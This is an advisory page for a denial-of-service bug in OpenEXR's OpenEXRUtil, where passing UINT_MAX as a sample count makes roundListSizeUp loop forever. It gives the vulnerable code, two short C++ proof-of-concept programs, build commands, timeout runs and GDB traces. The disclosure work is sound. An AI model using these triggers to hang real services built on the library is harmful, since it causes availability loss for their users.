Skip to content

GHSA-mff9-68x3-h8rh on CTRL-OS 26.05

Aliases: GHSA-mff9-68x3-h8rh

Packages: openexr

Status: Plausible

Advisory Information

OpenEXRUtil SampleCountChannel UINT_MAX Sample Count Infinite Loop: Exploitability Assessment

Target: AcademySoftwareFoundation/openexr

Commit tested: b25f9dc9af78d662eb45969e9e1cd395082d1f13

Component: src/lib/OpenEXRUtil

Assessment date: 2026-06-11 UTC

Cloud-server validation tree: /root/openexr_latest_check/openexr-main

Original fuzz / audit tree: /root/fuzz_target

Conclusion

The issue is confirmed as a deterministic CPU denial-of-service bug:

  • public OpenEXRUtil C++ API reachable;
  • attacker-controlled / caller-controlled sample count can be set to UINT_MAX;
  • roundListSizeUp(unsigned int n) uses an unsigned left-shift loop to round n up to the next power of two;
  • for n == UINT_MAX, the loop variable wraps from 0x80000000 to 0;
  • the loop condition remains true forever;
  • both the edit-buffer path and the direct setter path hang until externally killed.

No memory corruption, invalid free, out-of-bounds access, information disclosure, arbitrary read/write primitive, virtual dispatch control, or RIP control was demonstrated. The confirmed impact is availability loss through an infinite CPU loop.

Recommended claim: CPU denial of service / infinite loop, not RCE.

Recommended severity: Moderate, unless a direct untrusted .exr file loading path or a remote service workflow is later demonstrated to pass attacker-chosen deep sample counts into SampleCountChannel without validation. If direct network or file-parser reachability is proven, the attack vector and user interaction fields should be reassessed.

Summary

OpenEXRUtil contains an infinite-loop vulnerability in SampleCountChannel. The helper roundListSizeUp(unsigned int n) rounds a sample-list size up to the next power of two with repeated unsigned left-shifts.

For normal values this terminates. For UINT_MAX (4294967295), the sequence eventually reaches 0x80000000; the next left shift wraps the 32-bit unsigned value to 0. Because 0 is still less than UINT_MAX, the loop never makes progress and never exits.

The bug is reachable through public OpenEXRUtil APIs in at least two ways:

  • directly editing the sample-count buffer through SampleCountChannel::Edit, whose destructor calls SampleCountChannel::endEdit();
  • calling SampleCountChannel::set(x, y, UINT_MAX) on a valid pixel.

Both paths were reproduced on latest main and both were killed by timeout 3s with exit code 124.

Confirmed affected source pattern:

  • v3.2.9
  • v3.3.11
  • v3.4.12
  • latest main at b25f9dc9af78d662eb45969e9e1cd395082d1f13

Affected Code

Unsigned wraparound / infinite loop in roundListSizeUp():

unsigned int s = 1;

while (s < n)
    s <<= 1;

Location on tested main:

src/lib/OpenEXRUtil/ImfSampleCountChannel.cpp:25-40

GitHub source:

https://github.com/AcademySoftwareFoundation/openexr/blob/b25f9dc9af78d662eb45969e9e1cd395082d1f13/src/lib/OpenEXRUtil/ImfSampleCountChannel.cpp#L25-L40

The problematic behavior for n == UINT_MAX is:

s = 0x00000001
...
s = 0x40000000
s = 0x80000000
s <<= 1
s = 0x00000000

while (0 < 0xffffffff) remains true forever.

SampleCountChannel::endEdit() calls roundListSizeUp() for each pixel's stored sample count:

for (size_t i = 0; i < numPixels (); ++i)
{
    _sampleListSizes[i]     = roundListSizeUp (_numSamples[i]);
    _sampleListPositions[i] = _totalSamplesOccupied;
    _totalNumSamples += _numSamples[i];
    _totalSamplesOccupied += _sampleListSizes[i];
}

Location on tested main:

src/lib/OpenEXRUtil/ImfSampleCountChannel.cpp:275-289

GitHub source:

https://github.com/AcademySoftwareFoundation/openexr/blob/b25f9dc9af78d662eb45969e9e1cd395082d1f13/src/lib/OpenEXRUtil/ImfSampleCountChannel.cpp#L275-L289

SampleCountChannel::Edit automatically calls endEdit() in its destructor:

inline SampleCountChannel::Edit::~Edit ()
{
    _channel.endEdit ();
}

Location on tested main:

src/lib/OpenEXRUtil/ImfSampleCountChannel.h:268-270

GitHub source:

https://github.com/AcademySoftwareFoundation/openexr/blob/b25f9dc9af78d662eb45969e9e1cd395082d1f13/src/lib/OpenEXRUtil/ImfSampleCountChannel.h#L268-L270

The direct setter path also reaches roundListSizeUp(newNumSamples):

void
SampleCountChannel::set (int x, int y, unsigned int newNumSamples)
{
    boundsCheck (x, y);

    size_t i = (_base + y * pixelsPerRow () + x) - _numSamples;

    ...

    int newSampleListSize = roundListSizeUp (newNumSamples);

Location on tested main:

src/lib/OpenEXRUtil/ImfSampleCountChannel.cpp:106-147

GitHub source:

https://github.com/AcademySoftwareFoundation/openexr/blob/b25f9dc9af78d662eb45969e9e1cd395082d1f13/src/lib/OpenEXRUtil/ImfSampleCountChannel.cpp#L106-L147

Source inspection confirmed the same roundListSizeUp() loop in checked release tags:

  • v3.2.9: while (s < n) s <<= 1;
  • v3.3.11: while (s < n) s <<= 1;
  • v3.4.12: while (s < n) s <<= 1;

Minimal Public API PoC

Existing edit-buffer reproducer:

afl-findings/poc/poc_sample_count_uintmax_hang.cc

Source:

// Public API reproducer for unbounded sample-count growth in
// SampleCountChannel::endEdit().

#include <climits>

#include <ImfDeepImage.h>
#include <ImfSampleCountChannel.h>
#include <Imath/ImathBox.h>

namespace IMF = OPENEXR_IMF_NAMESPACE;
namespace IM  = IMATH_NAMESPACE;

int
main ()
{
    IMF::DeepImage img;
    img.insertChannel ("Z", IMF::HALF);
    img.resize (
        IM::Box2i (IM::V2i (0, 0), IM::V2i (0, 0)),
        IMF::ONE_LEVEL,
        IMF::ROUND_DOWN);

    IMF::SampleCountChannel::Edit edit (img.level (0).sampleCounts ());
    edit.sampleCounts ()[0] = UINT_MAX;
    // Edit destructor calls endEdit(), which rounds UINT_MAX up to the next
    // power of two with an unsigned left-shift loop that never terminates.
    return 0;
}

Trigger:

edit.sampleCounts()[0] = UINT_MAX
Edit::~Edit()
SampleCountChannel::endEdit()
roundListSizeUp(UINT_MAX)
infinite loop

Existing direct setter reproducer:

afl-findings/poc/poc_sample_count_set_uintmax_hang.cc

Source:

// Public API reproducer for SampleCountChannel::set(x, y, UINT_MAX).
// Build with an ASAN/UBSAN OpenEXRUtil build and run under timeout.

#include <ImfDeepImage.h>
#include <ImfSampleCountChannel.h>
#include <Imath/ImathBox.h>

#include <climits>

namespace IMF = OPENEXR_IMF_NAMESPACE;
namespace IM  = IMATH_NAMESPACE;

int
main ()
{
    IMF::DeepImage img;
    img.resize (
        IM::Box2i (IM::V2i (0, 0), IM::V2i (0, 0)),
        IMF::ONE_LEVEL,
        IMF::ROUND_DOWN);

    IMF::SampleCountChannel& samples = img.level (0).sampleCounts ();
    samples.set (0, 0, UINT_MAX);
    return 0;
}

Trigger:

samples.set(0, 0, UINT_MAX)
SampleCountChannel::set()
roundListSizeUp(UINT_MAX)
infinite loop

Reproduction Commands

The latest-upstream revalidation build on the cloud server used:

OpenEXR main: b25f9dc9af78d662eb45969e9e1cd395082d1f13
clang: Ubuntu clang version 18.1.3
cmake: 3.28.3
build type: Debug
BUILD_SHARED_LIBS=ON
CMAKE_C_FLAGS=-fsanitize=address,undefined -fno-omit-frame-pointer -g -O1
CMAKE_CXX_FLAGS=-fsanitize=address,undefined -fno-omit-frame-pointer -g -O1
OPENEXR_BUILD_TOOLS=OFF
OPENEXR_ENABLE_THREADING=ON
OPENEXR_FORCE_INTERNAL_IMATH=ON
OPENEXR_FORCE_INTERNAL_DEFLATE=ON
OPENEXR_FORCE_INTERNAL_OPENJPH=ON

Existing latest-main binaries:

/root/openexr_latest_check/openexr-main/latest-check/bin/poc_sample_count_uintmax_hang
/root/openexr_latest_check/openexr-main/latest-check/bin/poc_sample_count_set_uintmax_hang

Run the edit-buffer PoC:

timeout 3s \
  /root/openexr_latest_check/openexr-main/latest-check/bin/poc_sample_count_uintmax_hang
echo $?

Observed result:

124

Run the direct setter PoC:

timeout 3s \
  /root/openexr_latest_check/openexr-main/latest-check/bin/poc_sample_count_set_uintmax_hang
echo $?

Observed result:

124

124 is GNU timeout's exit code when the child process does not terminate before the timeout expires.

The original reproduction script in the fuzz tree uses the same timeout expectation:

ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1 \
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1:print_stacktrace=1 \
timeout 3s "$bin"

Relevant script locations:

/root/fuzz_target/afl-findings/tools/reproduce_unsubmitted_pocs.sh:101-117
/root/fuzz_target/afl-findings/tools/reproduce_unsubmitted_pocs.sh:137-140
/root/fuzz_target/afl-findings/tools/reproduce_unsubmitted_pocs.sh:154-156

Saved timeout evidence:

afl-findings/poc/poc_sample_count_uintmax_hang.timeout.out
afl-findings/poc/poc_sample_count_set_uintmax_hang.timeout.out
latest-main-check/logs/poc_sample_count_uintmax_hang.run.out
latest-main-check/logs/poc_sample_count_set_uintmax_hang.run.out

The original timeout evidence records:

timeout 3s rc=124

for both PoCs.

Build Command Details

The reproduction helper builds OpenEXRUtil PoCs with C++14, sanitizer flags, and the locally built OpenEXRUtil/OpenEXR/OpenEXRCore libraries:

clang++ -std=c++14 \
  -fsanitize=address,undefined -fno-omit-frame-pointer -g -O1 \
  -I/root/fuzz_target/src/lib/OpenEXR \
  -I/root/fuzz_target/src/lib/OpenEXRUtil \
  -I/root/fuzz_target/src/lib/OpenEXRCore \
  -I/root/fuzz_target/src/lib/Iex \
  -I/root/fuzz_target/src/lib/IlmThread \
  -I/root/fuzz_target/_build.san/cmake \
  -I/root/fuzz_target/_build.san/OpenEXR_ImathIncludeCompat \
  -I/root/fuzz_target/_build.san/_deps/imath-src/src/Imath \
  -I/root/fuzz_target/_build.san/_deps/imath-src/src \
  -I/root/fuzz_target/_build.san/_deps/imath-build/config \
  afl-findings/poc/poc_sample_count_uintmax_hang.cc \
  -o afl-findings/poc/bin/poc_sample_count_uintmax_hang \
  -Wl,-rpath,/root/fuzz_target/_build.san/src/lib/OpenEXRUtil:/root/fuzz_target/_build.san/src/lib/OpenEXR:/root/fuzz_target/_build.san/src/lib/OpenEXRCore:/root/fuzz_target/_build.san/src/lib/Iex:/root/fuzz_target/_build.san/src/lib/IlmThread:/root/fuzz_target/_build.san/_deps/imath-build/src/Imath \
  -L/root/fuzz_target/_build.san/src/lib/OpenEXRUtil \
  -L/root/fuzz_target/_build.san/src/lib/OpenEXR \
  -L/root/fuzz_target/_build.san/src/lib/OpenEXRCore \
  -L/root/fuzz_target/_build.san/src/lib/Iex \
  -L/root/fuzz_target/_build.san/src/lib/IlmThread \
  -L/root/fuzz_target/_build.san/_deps/imath-build/src/Imath \
  -lOpenEXRUtil-4_0 -lOpenEXR-4_0 -lOpenEXRCore-4_0 \
  -lIex-4_0 -lIlmThread-4_0 -lImath-3_2 -lm -ldl -pthread

Use the same command with afl-findings/poc/poc_sample_count_set_uintmax_hang.cc and output afl-findings/poc/bin/poc_sample_count_set_uintmax_hang for the direct setter PoC.

The latest-main binary was verified to link against the local sanitizer build, not system OpenEXR libraries:

libOpenEXRUtil-4_0_d.so.99 =>
  /root/openexr_latest_check/openexr-main/_build.san/src/lib/OpenEXRUtil/libOpenEXRUtil-4_0_d.so.99
libOpenEXR-4_0_d.so.99 =>
  /root/openexr_latest_check/openexr-main/_build.san/src/lib/OpenEXR/libOpenEXR-4_0_d.so.99
libOpenEXRCore-4_0_d.so.99 =>
  /root/openexr_latest_check/openexr-main/_build.san/src/lib/OpenEXRCore/libOpenEXRCore-4_0_d.so.99

Timeout Evidence

Cloud-server rerun on latest main, edit-buffer PoC:

timeout 3s /root/openexr_latest_check/openexr-main/latest-check/bin/poc_sample_count_uintmax_hang

Observed:

exit code 124
stdout/stderr empty

Cloud-server rerun on latest main, direct setter PoC:

timeout 3s /root/openexr_latest_check/openexr-main/latest-check/bin/poc_sample_count_set_uintmax_hang

Observed:

exit code 124
stdout/stderr empty

The empty output is expected for this bug class: the process is spinning in CPU logic and does not reach a sanitizer diagnostic, crash handler, or exception path before timeout kills it.

GDB Evidence

Latest-main GDB evidence for the edit-buffer PoC:

Saved file:

latest-main-check/logs/poc_sample_count_uintmax_hang.gdb_latest_main.txt

Observed stack:

0x00007ffff7f89640 in Imf_4_0::(anonymous namespace)::roundListSizeUp
    (n=4294967295)
    at /root/openexr_latest_check/openexr-main/src/lib/OpenEXRUtil/ImfSampleCountChannel.cpp:33

#0  Imf_4_0::(anonymous namespace)::roundListSizeUp(n=4294967295)
    at src/lib/OpenEXRUtil/ImfSampleCountChannel.cpp:33
#1  Imf_4_0::SampleCountChannel::endEdit(this=0x510000000198)
    at src/lib/OpenEXRUtil/ImfSampleCountChannel.cpp:285
#2  Imf_4_0::SampleCountChannel::Edit::~Edit(this=<optimized out>)
    at src/lib/OpenEXRUtil/ImfSampleCountChannel.h:270
#3  main()
    at afl-findings/poc/poc_sample_count_uintmax_hang.cc:28

Latest-main GDB evidence for the direct setter PoC:

Saved file:

latest-main-check/logs/poc_sample_count_set_uintmax_hang.gdb_latest_main.txt

Observed stack:

#0  Imf_4_0::(anonymous namespace)::roundListSizeUp(n=<optimized out>)
    at src/lib/OpenEXRUtil/ImfSampleCountChannel.cpp:131
#1  Imf_4_0::SampleCountChannel::set(
        this=0x510000000198,
        x=<optimized out>,
        y=<optimized out>,
        newNumSamples=<optimized out>)
    at src/lib/OpenEXRUtil/ImfSampleCountChannel.cpp:147
#2  main()
    at afl-findings/poc/poc_sample_count_set_uintmax_hang.cc:23

Note: the direct setter frame is optimized enough that GDB reports the current source line as line 131 while the call site is still shown at line 147. The important evidence is the stack edge from SampleCountChannel::set() into the same roundListSizeUp() helper.

Original fuzz-tree GDB evidence:

Saved file:

afl-findings/poc/poc_sample_count_uintmax_hang.gdb.txt

Observed stack:

#0  roundListSizeUp(n=4294967295)
    /root/fuzz_target/src/lib/OpenEXRUtil/ImfSampleCountChannel.cpp:33
#1  Imf_4_0::SampleCountChannel::endEdit()
    /root/fuzz_target/src/lib/OpenEXRUtil/ImfSampleCountChannel.cpp:273
#2  Imf_4_0::SampleCountChannel::Edit::~Edit()
    src/lib/OpenEXRUtil/ImfSampleCountChannel.h:270
#3  main()
    afl-findings/poc/poc_sample_count_uintmax_hang.cc:28

Updates

2026-07-10 18:49 CEST

Metadata changes:

  • Status for package openexr: “Plausible”

2026-07-07 22:43 CEST

Metadata changes:

  • Status for package openexr: “New”

(Amended on: 2026-07-10 18:46 CEST)